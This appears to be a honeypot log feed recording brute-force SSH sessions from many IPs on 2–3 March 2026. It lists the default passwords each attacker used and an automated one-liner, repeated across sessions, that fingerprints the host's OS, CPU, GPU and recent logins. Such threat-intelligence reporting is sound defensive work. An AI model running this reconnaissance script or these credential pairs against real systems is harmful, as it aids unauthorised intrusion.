$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—6
🎭 stroopwafel_root_9 (178.128.251.17) β€” Amsterdam, Netherlands Β· 3 sessions Β· 12 cmds
2026-03-03 05:06 EST Β· as admin/admin, root/1234, root/12345678
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 outback_root_5 (170.64.210.131) β€” Sydney, Australia Β· 2 sessions Β· 8 cmds
2026-03-03 04:09 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 eagle_root_21 (107.170.10.192) β€” Secaucus, United States Β· 2 sessions Β· 8 cmds
2026-03-03 03:15 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 star_root_21 (162.243.63.82) β€” Secaucus, United States Β· 2 sessions Β· 8 cmds
2026-03-03 00:59 EST Β· as postgres/postgres, root/qwerty
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 rogue_root_53 (178.128.85.68) β€” Singapore, Singapore Β· 2 sessions Β· 8 cmds
2026-03-03 00:36 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 fog_root_2 (209.97.139.26) β€” Slough, United Kingdom Β· 18 sessions Β· 72 cmds
2026-03-02 23:04 EST Β· as admin/123456, admin/admin, admin/admin123
export β†’ uname β†’ cat (repeated export 18x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—18
$ uname -s -v -n -m 2 > /dev/null Γ—18
$ uname -m 2 > /dev/null Γ—18
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—18
🎭 dutch_root_11 (188.166.92.89) β€” Amsterdam, Netherlands Β· 4 sessions Β· 16 cmds
2026-03-02 22:21 EST Β· as admin/admin, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 reef_root_7 (170.64.215.150) β€” Sydney, Australia Β· 8 sessions Β· 32 cmds
2026-03-02 22:00 EST Β· as admin/123456, admin/admin, root/1234
export β†’ uname β†’ cat (repeated export 8x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—8
$ uname -s -v -n -m 2 > /dev/null Γ—8
$ uname -m 2 > /dev/null Γ—8
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—8
🎭 stein_root_21 (165.22.88.202) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 12 cmds
2026-03-02 20:06 EST Β· as admin/password, root/12345678, root/qwerty
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 wraith_root_50 (178.128.211.201) β€” Singapore, Singapore Β· 4 sessions Β· 16 cmds
2026-03-02 19:13 EST Β· as root/admin, root/admin123, root/qwerty
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 tiger_root_10 (142.93.215.57) β€” Bengaluru, India Β· 4 sessions Β· 16 cmds
2026-03-02 18:44 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 stroopwafel_root_10 (167.99.211.49) β€” Amsterdam, Netherlands Β· 1 session Β· 4 cmds
2026-03-02 18:19 EST Β· as root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output"
$ uname -s -v -n -m 2 > /dev/null
$ uname -m 2 > /dev/null
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1
🎭 jade_sol (61.138.113.187) β€” Hohhot, China Β· 4 sessions Β· 4 cmds
2026-03-02 07:38 EST Β· as admin/123456, admin/admin, admin/admin123
Ran uname 4x across 4 sessions β€” automated OS fingerprinting.
$ uname -a Γ—4
↳ OS/kernel identification
🎭 yankee_root_19 (146.190.158.248) β€” Santa Clara, United States Β· 2 sessions Β· 8 cmds
2026-03-02 17:41 EST Β· as root/12345678, root/admin
export β†’ uname β†’ cat
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—2
$ uname -s -v -n -m 2 > /dev/null Γ—2
$ uname -m 2 > /dev/null Γ—2
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—2
🎭 tea_root_14 (159.65.90.125) β€” Slough, United Kingdom Β· 4 sessions Β· 16 cmds
2026-03-02 17:36 EST Β· as root/1234, root/12345678, root/admin
export β†’ uname β†’ cat (repeated export 4x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—4
$ uname -s -v -n -m 2 > /dev/null Γ—4
$ uname -m 2 > /dev/null Γ—4
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—4
🎭 kiwi_root_5 (209.38.27.24) β€” Sydney, Australia Β· 3 sessions Β· 12 cmds
2026-03-02 16:40 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 autobahn_root_5 (138.197.181.113) β€” Frankfurt am Main, Germany Β· 3 sessions Β· 12 cmds
2026-03-02 16:36 EST Β· as admin/123456, admin/admin123, admin/password
export β†’ uname β†’ cat (repeated export 3x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—3
$ uname -s -v -n -m 2 > /dev/null Γ—3
$ uname -m 2 > /dev/null Γ—3
$ cat /proc/uptime 2 > /dev/null | cut -d. -f1 Γ—3
🎭 chai_root_7 (142.93.208.229) β€” Bengaluru, India Β· 9 sessions Β· 36 cmds
2026-03-02 15:23 EST Β· as admin/123456, admin/admin, admin/password
export β†’ uname β†’ cat (repeated export 9x)
$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null); arch=$(uname -m 2>/dev/null); uptime=$(cat /proc/uptime 2>/dev/null | cut -d. -f1); cpus=$( (nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null) | head -1); cpu_model=$( (grep -m1 -E "model name|Hardware" /proc/cpuinfo | cut -d: -f2- | sed 's/^ *//;s/ *$//' ; lscpu 2>/dev/null | awk -F: '/Model name/ {gsub(/^ +| +$/,"",$2); print $2; exit}' ; dmidecode -s processor-version 2>/dev/null | head -n1 ; uname -p 2>/dev/null) | awk 'NF{print; exit}' ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia) 2>/dev/null | head -n50); cat_help=$( (cat --help 2>&1 | tr '\n' ' ') || cat --help 2>&1); ls_help=$( (ls --help 2>&1 | tr '\n' ' ') || ls --help 2>&1); last_output=$(last 2>/dev/null | head -n 10); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "CAT_HELP:$cat_help"; echo "LS_HELP:$ls_help"; echo "LAST:$last_output" Γ—9
$ uname -s -v -n -m 2 > /dev/null Γ—9
$ uname -m 2 > /dev/null Γ—9
